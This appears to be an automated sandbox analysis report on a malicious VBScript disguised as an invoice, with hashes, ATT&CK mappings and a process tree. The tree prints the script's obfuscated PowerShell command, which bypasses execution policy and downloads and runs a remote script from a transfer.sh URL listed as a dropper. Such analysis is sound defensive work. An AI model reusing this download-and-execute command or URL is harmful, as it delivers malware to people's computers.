2cc20535a34a0776e35b4842fe88e6e7475f67ae8bc3a5abb7545fb675bc43a5

Analysis

max time kernel
98s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-11-2024 22:31

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General

Target

Revised Invoice #03252022.vbs
Size

636B
MD5

e0e7f44f32d0b3dabb08bd61a3b81f6a
SHA1

3b5d3334936280cee7be949a7712669300502377
SHA256

db00c50095732ed84821f321b813546431f298525fea8dbd1a4545c3abfa1fe1
SHA512

78baf7107944bc1cc371f058f73a2ecd1f601b3401d10774440cfcbcc767549bb43143c261422e7bd2e3f345a5ebb99acda70ca1a2033ccbcd08ef86edff8bf1

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://transfer.sh/get/9GqmOG/jramooooss.ps1

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	4808	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4808	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4808	powershell.exe
4808	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4808	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2948 wrote to memory of 4808	2948	WScript.exe	83
PID 2948 wrote to memory of 4808	2948	WScript.exe	83

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Revised Invoice #03252022.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exeCutiO BYpASS -C I`eX(n`EW-Ob`J`EcT nET`.weBCLi`ENt).DoWnloAdStRiNG('https://transfer.sh/get/9GqmOG/jramooooss.ps1')
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vp53obel.ssr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4808-0-0x00007FFEF9FB3000-0x00007FFEF9FB5000-memory.dmp

Filesize
8KB

Download
memory/4808-10-0x00000141C6290000-0x00000141C62B2000-memory.dmp

Filesize
136KB

Download
memory/4808-11-0x00007FFEF9FB0000-0x00007FFEFAA71000-memory.dmp

Filesize
10.8MB

Download
memory/4808-12-0x00007FFEF9FB0000-0x00007FFEFAA71000-memory.dmp

Filesize
10.8MB

Download
memory/4808-13-0x00007FFEF9FB3000-0x00007FFEF9FB5000-memory.dmp

Filesize
8KB

Download
memory/4808-14-0x00007FFEF9FB0000-0x00007FFEFAA71000-memory.dmp

Filesize
10.8MB

Download
memory/4808-15-0x00007FFEF9FB0000-0x00007FFEFAA71000-memory.dmp

Filesize
10.8MB

Download
memory/4808-16-0x00007FFEF9FB0000-0x00007FFEFAA71000-memory.dmp

Filesize
10.8MB

Download
memory/4808-19-0x00007FFEF9FB0000-0x00007FFEFAA71000-memory.dmp

Filesize
10.8MB

Download